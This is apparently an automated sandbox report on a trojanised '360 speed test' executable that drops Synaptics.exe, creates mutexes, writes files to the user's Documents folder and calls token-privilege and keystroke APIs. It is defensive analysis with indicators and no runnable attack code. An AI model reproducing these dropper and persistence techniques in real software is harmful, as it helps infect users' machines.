              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297260003.0000000002F2B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360nettj.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293163450.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360net.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300605048.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameNetSpeed.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameNetSpeed.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360perfoptm.dll0 vs 360#U6d4b#U901f.exe
              Source: 360#U6d4b#U901f.exeBinary or memory string: OriginalFileName vs 360#U6d4b#U901f.exe
              Source: 360#U6d4b#U901f.exeBinary or memory string: OriginalFilenameb! vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9921244959677419
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile created: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeJump to behavior
              Source: classification engineClassification label: mal100.expl.evad.winEXE@11/64@0/24
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0044AF5C GetLastError,FormatMessageW,1_2_0044AF5C
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,1_2_0043614F
              Source: 360#U6d4b#U901f.exeReversingLabs: Detection: 85%
              Source: 360#U6d4b#U901f.exeVirustotal: Detection: 88%
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile read: C:\Users\user\Desktop\360#U6d4b#U901f.exeJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\360#U6d4b#U901f.exe C:\Users\user\Desktop\360#U6d4b#U901f.exe
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess created: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe "C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe"
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
              Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeProcess created: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
              Source: unknownProcess created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
              Source: C:\ProgramData\Synaptics\Synaptics.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2880
              Source: C:\ProgramData\Synaptics\Synaptics.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2712
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess created: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe "C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe" Jump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdateJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeProcess created: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,1_2_00464422
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,1_2_004364AA
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????Jump to behavior
              Source: nts9475.tmp.P2P.4.drBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
              Source: nts9475.tmp.P2P.4.drBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
              Source: nts9475.tmp.P2P.4.drBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
              Source: nts9475.tmp.P2P.4.drBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
              Source: nts9475.tmp.P2P.4.drBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
              Source: nts9475.tmp.P2P.4.drBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
              Source: nts9475.tmp.P2P.4.drBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,1_2_0043701F
              Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5680
              Source: C:\ProgramData\Synaptics\Synaptics.exeMutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeMutant created: \Sessions\1\BaseNamedObjects\LOCALLOG
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeMutant created: \Sessions\1\BaseNamedObjects\1830B7BD-F7A3-4c4d-989B-C004DE465EDE 6092
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeMutant created: \Sessions\1\BaseNamedObjects\Q360SpeedTestMutex
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeMutant created: \Sessions\1\BaseNamedObjects\Q360NetSpeedMutex
              Source: Synaptics.exeString found in binary or memory: e::after{border:2px solid #185abc;border-radius:4px;bottom:-5px;box-shadow:0 0 0 2px #e8f0fe;content:"";left:-5px;position:absolute;right:-5px;top:-5px}.F3wxlc{-webkit-align-items:flex-start;align-items:flex-start;color:#5f6368;display:-webkit-box;display:-moz
              Source: Synaptics.exeString found in binary or memory: :100%;-webkit-justify-content:flex-start;justify-content:flex-start;left:0;max-width:100%;pointer-events:none;position:absolute;top:0;width:100%}.YhhY8,.CCQ94b,.tNASEf{border:1px solid #dadce0}.YhhY8{border-bottom-left-radius:4px;border-right:none;border-top-l
              Source: Synaptics.exeString found in binary or memory: CAe .BtUzhd{-webkit-align-self:flex-start;-ms-grid-row-align:flex-start;align-self:flex-start;-webkit-box-flex:none;-moz-box-flex:none;-ms-flex:none;-webkit-flex:none;flex:none;line-height:1.3333}.vOZun{padding-bottom:3px;padding-top:9px;margin-bottom:0;margin
              Source: Synaptics.exeString found in binary or memory: 368;text-align:center}.BtUzhd{color:#5f6368;font-size:12px}.cABCAe .BtUzhd{-webkit-align-self:flex-start;-ms-grid-row-align:flex-start;align-self:flex-start;-webkit-box-flex:none;-moz-box-flex:none;-ms-flex:none;-webkit-flex:none;flex:none;line-height:1.3333}.
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile written: C:\Users\user\AppData\Local\Temp\?????\netmon\360netmon.iniJump to behavior
              Source: Yara matchFile source: 360#U6d4b#U901f.exe, type: SAMPLE
              Source: Yara matchFile source: 0.0.360#U6d4b#U901f.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: C:\ProgramData\Synaptics\RCX35C5.tmp, type: DROPPED
              Source: Yara matchFile source: C:\Users\user\Documents\DVWHKMNFNN\~$cache1, type: DROPPED
              Source: Yara matchFile source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeWindow detected: Number of UI elements: 12
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
              Source: 360#U6d4b#U901f.exeStatic file information: File size 3573760 > 1048576
              Source: 360#U6d4b#U901f.exeStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x2be000
              Source: Binary string: c:\Program Files (x86)\360\360Safe\netmon\360SpeedTest.pdb source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmp
              Source: Binary string: d:\build\360Pdown_3\DownDll\Release\LiveUpd360.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, LiveUpd360.dll.1.dr
              Source: Binary string: c:\Program Files (x86)\360\360safe\netmon\360perfoptm.pdbT source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: e:\build\360fos\trunk\NetSpeed\release\NetSpeed.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: c:\Program Files (x86)\360\360Safe\netmon\360SpeedTest.pdb( source: 360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmp
              Source: Binary string: E:\Jenkins\workspace\GA_Channel_Package\OnlineInstall\NoFinishPageRelease\NoFinishPage_FoxitInst.pdb source: nts9475.tmp.P2P.4.dr
              Source: Binary string: e:\build\360fos\trunk\NetSpeed\release\NetSpeed.pdbT source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.340703227.0000000002B46000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\build\360P2SP_2\360P2SP\Release\360P2SP.pdb`` source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\build\360P2SP_2\360P2SP\Release\360P2SP.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\build\360Net_2\Release\360net.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293163450.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343634256.00000000093F1000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\build\360NetUL\bin\360NetUL.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293649323.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, 360SpeedTest.exe, 00000004.00000003.343808558.00000000093F1000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\build\360Pdown_3\PDown\Release\PDown.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295666957.0000000002F12000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: c:\Program Files (x86)\360\360safe\netmon\360perfoptm.pdb source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmp
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004171D1 push ecx; ret 1_2_004171E4
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B36672F push ebx; iretd 4_3_0B366730
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B364D02 push esi; iretd 4_3_0B364CCC
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B367766 push esp; retf 4_3_0B367767
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B367425 pushfd ; retf 4_3_0B36743E
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B364C2F push esi; iretd 4_3_0B364CCC
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B36842B pushfd ; retf 4_3_0B3684A4
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B36721E push ecx; iretd 4_3_0B367221
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B367456 pushfd ; retf 4_3_0B36743E
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B364C53 push ebx; retf 4_3_0B364C54
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B367CA7 push ebp; ret 4_3_0B367CA9
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B364C8B push esi; iretd 4_3_0B364CCC
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B365EF0 push 2466D413h; retf 4_3_0B365F02
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B368EF0 push es; ret 4_3_0B368EF1
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B3666EA push ss; iretd 4_3_0B366727
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeCode function: 4_3_0B364CCE push esi; iretd 4_3_0B364CCC
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040EB70 LoadLibraryA,GetProcAddress,1_2_0040EB70
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1

              Persistence and Installation Behavior

              barindex
              Drops PE files to the document folder of the user
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile created: C:\Users\user\Documents\DVWHKMNFNN\~$cache1Jump to dropped file
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile created: C:\ProgramData\Synaptics\RCX35C5.tmpJump to dropped file
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile created: C:\ProgramData\Synaptics\Synaptics.exeJump to dropped file
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile created: C:\Users\user\Documents\DVWHKMNFNN\~$cache1Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9442.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9472.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9473.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9474.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9475.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9476.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9477.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts94A7.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeJump to dropped file
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile created: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeJump to dropped file
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile created: C:\ProgramData\Synaptics\RCX35C5.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9477.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9475.tmp.P2PJump to dropped file
              Source: C:\ProgramData\Synaptics\Synaptics.exeFile created: C:\Users\user\Documents\DVWHKMNFNN\~$cache1Jump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\PDown.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9474.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9473.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile created: C:\ProgramData\Synaptics\Synaptics.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9442.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9472.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\360net.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\netmon\360nettj.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts94A7.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\netmon\360perfoptm.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\netmon\NetSpeed.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\LiveUpd360.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\360P2SP.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile created: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9476.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeFile created: C:\Users\user\AppData\Local\Temp\?????\360NetUL.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,1_2_004375B0
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\LiveUpdate360Jump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
